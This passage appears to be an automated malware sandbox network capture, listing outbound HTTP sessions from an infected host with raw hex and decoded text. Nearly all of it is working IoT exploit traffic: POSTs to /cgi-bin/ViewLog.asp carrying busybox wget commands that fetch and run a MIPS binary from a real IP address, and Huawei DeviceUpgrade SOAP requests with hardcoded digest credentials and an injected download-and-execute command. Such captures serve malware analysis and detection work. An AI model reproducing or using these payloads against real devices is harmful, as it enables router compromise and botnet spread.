                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                937192.168.2.153788094.122.116.1298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.288183928 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                938192.168.2.154075095.86.114.628080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.293258905 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                939192.168.2.155182262.56.221.1768080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.327898026 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.055877924 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.495841980 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                940192.168.2.153881285.246.43.1618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.476191998 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.679119110 CET602INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:22:30 GMT
                                                Server:
                                                X-Frame-Options: SAMEORIGIN
                                                Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob:
                                                Content-Length: 226
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                941192.168.2.155414694.236.199.518080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.487246990 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.701862097 CET500INHTTP/1.1 401 Unauthorized
                                                Date: Thu, 23 Nov 2023 04:23:07 GMT
                                                Server: Boa/0.94.14rc21
                                                Accept-Ranges: bytes
                                                Content-encoding: gzip
                                                Connection: close
                                                WWW-Authenticate: Basic realm="WF2419E"
                                                user"
                                                Content-Type: text/html; charset=ISO-8859-1
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /cgi-bin/ViewLog.asp from this server.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                942192.168.2.154705494.121.71.48080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.519701004 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                943192.168.2.1542328156.241.124.9237215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.604897022 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:09.591820955 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:12.055767059 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                944192.168.2.154165031.136.217.1828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.659362078 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.215861082 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.335827112 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.799814939 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:16.407670975 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                945192.168.2.156083494.120.222.1028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.706384897 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


